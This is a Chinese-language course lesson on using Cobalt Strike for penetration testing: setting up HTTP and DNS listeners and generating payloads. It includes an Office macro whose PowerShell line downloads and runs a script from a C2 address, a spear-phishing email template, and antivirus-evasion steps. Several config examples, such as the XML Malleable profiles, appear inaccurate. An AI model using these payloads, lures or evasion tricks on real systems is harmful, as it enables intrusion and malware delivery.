CobaltStrike专题

3、创建监听器与Attacks

一、课程目标

本节课主要学习如何在CobaltStrike中创建和配置监听器,以及如何使用Attack功能生成各种攻击载荷。监听器和攻击载荷是CobaltStrike的核心功能,掌握这些技能对于渗透测试至关重要。通过本课的学习,你将能够:

  1. 理解监听器的工作原理和不同类型
  2. 掌握监听器的创建和配置方法
  3. 学会使用Attack功能生成各种攻击载荷
  4. 熟悉不同载荷类型的使用场景
  5. 了解载荷免杀和绕过技术

二、名词解释表

名词解释
监听器C2服务器用于接收Beacon连接的组件
C2服务器Command and Control服务器,用于控制被感染主机
BeaconCobaltStrike的植入载荷,用于与TeamServer通信
Stager分阶段载荷的第一阶段,用于下载完整Beacon
Stageless一次性载荷,包含完整Beacon
Malleable C2 Profile可定制的C2通信配置文件
载荷用于在目标系统上执行的恶意代码
免杀使恶意软件绕过杀毒软件检测的技术

三、监听器原理

3.1 监听器概述

监听器是CobaltStrike中用于接收Beacon回连的服务器组件。当目标系统执行了Beacon载荷后,Beacon会主动连接到配置的监听器,从而建立C2通信通道。

3.2 监听器类型

3.2.1、HTTP/HTTPS监听器

  • 协议:基于HTTP/HTTPS协议
  • 端口:通常使用80/443端口
  • 特点:流量看起来像正常的Web访问
  • 适用场景:绕过防火墙和代理服务器

3.2.2、DNS监听器

  • 协议:基于DNS协议
  • 端口:使用53端口
  • 特点:通过DNS查询传递数据
  • 适用场景:高度限制的网络环境

3.2.3、SMB监听器

  • 协议:基于SMB协议
  • 端口:使用445端口
  • 特点:通过命名管道通信
  • 适用场景:内网横向移动

3.2.4、TCP监听器

  • 协议:基于TCP协议
  • 端口:可自定义端口
  • 特点:直接TCP连接
  • 适用场景:简单直接的通信需求

3.3 工作流程

  1. 配置监听器参数
  2. 启动监听器服务
  3. 生成对应的攻击载荷
  4. 载荷执行后连接监听器
  5. 建立C2通信通道

四、创建HTTP/HTTPS监听器

4.1 基本配置

4.1.1、通过界面创建

  1. 点击”Cobalt Strike”菜单
  2. 选择”Listeners”
  3. 点击”Add”按钮
  4. 选择”HTTP”或”HTTPS”类型

4.1.2、配置参数详解

  • Name:监听器名称(自定义)
  • Payload:对应载荷类型
  • Host:监听器绑定的主机/IP
  • Port:监听端口(HTTP通常80,HTTPS通常443)
  • C2 Profile:C2通信配置文件

4.2 高级配置

4.2.1、HTTP监听器配置

<!-- HTTP C2 Profile示例 -->
<http-config>
    <header name="User-Agent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"/>
    <header name="Accept" value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"/>
    <uri path="/news" extension=".php"/>
    <uri path="/login" extension=".jsp"/>
</http-config>

4.2.2、HTTPS监听器配置

<!-- HTTPS C2 Profile示例 -->
<https-config>
    <certificate>
        <keystore>cobaltstrike.store</keystore>
        <password>mypassword</password>
    </certificate>
    <header name="User-Agent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"/>
</https-config>

4.3 完整创建步骤

# 1. 启动TeamServer(如果尚未启动)
./teamserver 192.168.1.100 password123

# 2. 客户端连接到TeamServer
# 在客户端界面中连接到192.168.1.100:50050

# 3. 创建HTTP监听器
# 在客户端界面中:
# Cobalt Strike -> Listeners -> Add
# Type: HTTP
# Name: http_listener
# Host: 192.168.1.100
# Port: 80
# Save

五、创建DNS监听器

5.1 DNS监听器配置

5.1.1、基本参数

  • Name:dns_listener
  • Payload:windows/beacon_dns/reverse_dns_txt
  • Host:你的域名(如:c2.example.com)
  • Port:53
  • C2 Profile:dns-profile

5.1.2、DNS配置文件示例

<!-- DNS C2 Profile -->
<dns-config>
    <dns_idle>192.168.1.100</dns_idle>
    <dns_sleep>50</dns_sleep>
    <dns_stager_prepend>AA</dns_stager_prepend>
    <dns_stager_subhost>.stage.123456.</dns_stager_subhost>
    <maxdns>251</maxdns>
</dns-config>

5.2 域名配置

5.2.1、DNS记录设置

# A记录
c2.example.com    A    192.168.1.100

# NS记录
stage.123456.example.com    NS    c2.example.com

5.3 创建步骤

# 1. 配置域名DNS记录
# 在域名服务商处添加相应的DNS记录

# 2. 在CobaltStrike中创建DNS监听器
# Cobalt Strike -> Listeners -> Add
# Type: DNS
# Name: dns_listener
# Host: c2.example.com
# Port: 53
# Save

六、Attack功能详解

6.1 Packages子菜单

6.1.1、HTML Application (HTA)

  • 生成HTML应用程序文件
  • 利用.mshta.exe执行载荷
  • 适用于钓鱼邮件附件
<!-- HTA载荷示例 -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "notepad.exe", 0, True
</script>
</head>
<body>
<h1>Hello World</h1>
</body>
</html>

6.1.2、MS Office Macro

  • 生成Office宏代码
  • 利用Word/Excel等Office应用执行
  • 适用于Office钓鱼攻击
' Office宏载荷示例
Sub AutoOpen()
    Dim exec As String
    exec = "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.100/beacon.ps1'))"""
    Shell (exec)
End Sub

6.1.3、Payload Generator

  • 通用载荷生成器
  • 支持多种格式和配置
  • 最灵活的载荷生成方式

6.1.4、USB/CD AutoPlay

  • 生成自动播放载荷
  • 利用autorun.inf自动执行
  • 适用于物理介质攻击

6.1.5、Windows Executable

  • 生成Windows可执行文件
  • 支持stager和stageless模式
  • 最常用的载荷类型

6.1.6、Windows Executable (Stageless)

  • 生成一次性可执行文件
  • 包含完整Beacon代码
  • 不需要分阶段下载

6.2 Web Drive-by子菜单

6.2.1、Manage

  • 管理Web服务
  • 配置Web投递参数
  • 启动/停止Web服务

6.2.2、Clone Site

  • 克隆目标网站
  • 保持原有外观和功能
  • 增加攻击可信度

6.2.3、Scripted Web Delivery

  • 脚本化Web投递
  • 通过PowerShell/Wscript执行
  • 支持多种脚本语言

6.2.4、Signed Applet Attack

  • 签名小程序攻击
  • 利用Java小程序执行载荷
  • 需要有效数字签名

6.2.5、Smart Applet Attack

  • 智能小程序攻击
  • 自动检测Java环境
  • 根据环境选择执行方式

6.2.6、System Profiler

  • 系统信息探测
  • 收集目标系统指纹
  • 用于精准攻击

6.3 Spear Phish

6.3.1、钓鱼邮件配置

  • 收件人列表导入
  • 邮件模板编辑
  • 载荷附件添加
  • 发送时间调度

6.3.2、邮件模板示例

Subject: Important Document - Please Review
From: security@example.com
To: {target.email}

Dear {target.first_name},

Please review the attached document regarding recent security updates.

Best regards,
IT Security Team

七、载荷生成实战

7.1 生成HTTP Beacon

# 通过界面生成HTTP Beacon
# Attacks -> Packages -> Windows Executable
# Listener: http_listener
# Output: Windows EXE
# Save as: beacon_http.exe

7.2 生成Stageless Beacon

# 通过界面生成Stageless Beacon
# Attacks -> Packages -> Windows Executable (Stageless)
# Listener: http_listener
# Output: Windows EXE
# Save as: beacon_stageless.exe

7.3 生成PowerShell载荷

# 通过界面生成PowerShell载荷
# Attacks -> Packages -> Payload Generator
# Payload: windows/beacon_http/reverse_http
# Listener: http_listener
# Format: PowerShell
# Save as: beacon.ps1

7.4 生成Office宏载荷

# 通过界面生成Office宏载荷
# Attacks -> Packages -> MS Office Macro
# Listener: http_listener
# Save as: macro.txt

八、载荷免杀技术

8.1 编码混淆

8.1.1、XOR编码

// XOR编码示例
char key = 0xAA;
for (int i = 0; i < payload_size; i++) {
    payload[i] ^= key;
}

8.1.2、Base64编码

# PowerShell Base64编码
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($payload))

8.2 加壳压缩

8.2.1、UPX加壳

# 使用UPX加壳
upx --best beacon.exe

8.2.2、自定义加壳

// 自定义简单加壳
unsigned char encrypted_payload[] = {0x90, 0x90, 0x90, ...};
int key = 0x12345678;

for (int i = 0; i < sizeof(encrypted_payload); i++) {
    encrypted_payload[i] ^= (key >> (i % 32));
}

8.3 动态加载

8.3.1、Reflective Loader

// 反射式加载器
void reflective_loader(unsigned char* payload, int size) {
    // 在内存中直接执行载荷
    // 避免写入磁盘
    // 绕过静态检测
}

九、配置文件定制

9.1 Malleable C2 Profile

9.1.1、HTTP Profile示例

<?xml version="1.0" encoding="UTF-8"?>
<profile>
<http-config>
    <header name="User-Agent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"/>
    <header name="Accept" value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"/>
    <header name="Accept-Language" value="en-US,en;q=0.5"/>
    <header name="Accept-Encoding" value="gzip, deflate"/>
</http-config>

<http-get>
    <uri path="/news" extension=".php"/>
    <client>
        <header name="Accept" value="*/*"/>
        <header name="Host" value="domain.com"/>
    </client>
    <server>
        <header name="Content-Type" value="text/html; charset=utf-8"/>
        <output>
            <print charset="utf-8"/>
        </output>
    </server>
</http-get>

<http-post>
    <uri path="/submit" extension=".php"/>
    <client>
        <header name="Content-Type" value="application/x-www-form-urlencoded"/>
    </client>
    <server>
        <header name="Content-Type" value="text/html; charset=utf-8"/>
        <output>
            <print charset="utf-8"/>
        </output>
    </server>
</http-post>
</profile>

9.2 DNS Profile示例

<?xml version="1.0" encoding="UTF-8"?>
<profile>
<dns-config>
    <dns_idle>192.168.1.100</dns_idle>
    <dns_sleep>50</dns_sleep>
    <dns_stager_prepend>AA</dns_stager_prepend>
    <dns_stager_subhost>.stage.123456.</dns_stager_subhost>
    <maxdns>251</maxdns>
</dns-config>

<dns-txt-send>
    <uri-append host=".data.123456."/>
</dns-txt-send>

<dns-txt-recv>
    <uri-append host=".cmd.123456."/>
</dns-txt-recv>
</profile>

十、故障排除

10.1 监听器问题

10.1.1、端口占用

# 检查端口使用情况
netstat -tlnp | grep :80

# 杀死占用进程
kill -9 <PID>

10.1.2、防火墙阻拦

# Ubuntu/Debian
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp

# CentOS/RHEL
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --reload

10.1.3、SSL证书问题

# 生成自签名证书
keytool -genkey -alias cobaltstrike -keyalg RSA -keystore cobaltstrike.store -keysize 2048

10.2 载荷问题

10.2.1、载荷不执行

# 检查杀毒软件日志
# 使用不同的免杀技术
# 更换载荷类型

10.2.2、连接失败

# 检查网络连通性
ping <TeamServer_IP>

# 检查端口可达性
telnet <TeamServer_IP> 80

# 检查防火墙规则

十一、安全建议

11.1 监听器安全

11.1.1、访问控制

  • 限制监听器访问范围
  • 使用强密码保护
  • 定期更换连接凭证

11.1.2、加密通信

  • 启用SSL/TLS加密
  • 使用有效的数字证书
  • 配置强加密算法

11.1.3、日志审计

  • 启用详细日志记录
  • 定期审查日志文件
  • 配置日志轮转

11.2 载荷安全

11.2.1、合法使用

  • 仅在授权测试中使用
  • 遵守相关法律法规
  • 保护测试数据安全

11.2.2、环境隔离

  • 在隔离环境中测试
  • 避免影响生产系统
  • 及时清理测试痕迹

十二、课后作业

  1. 基础练习

    • 创建不同类型的监听器
    • 生成各种格式的攻击载荷
    • 测试载荷在不同环境下的执行效果
    • 配置Malleable C2 Profile文件
  2. 进阶练习

    • 实现载荷免杀技术
    • 定制C2通信配置文件
    • 部署Web Drive-by攻击
    • 配置钓鱼邮件攻击
  3. 思考题

    • 不同类型监听器的优缺点是什么?
    • 如何提高载荷的免杀效果?
    • C2通信如何绕过网络检测?
  4. 扩展阅读

    • 研究Malleable C2 Profiles高级配置
    • 了解Aggressor Script载荷生成
    • 学习载荷动态加载技术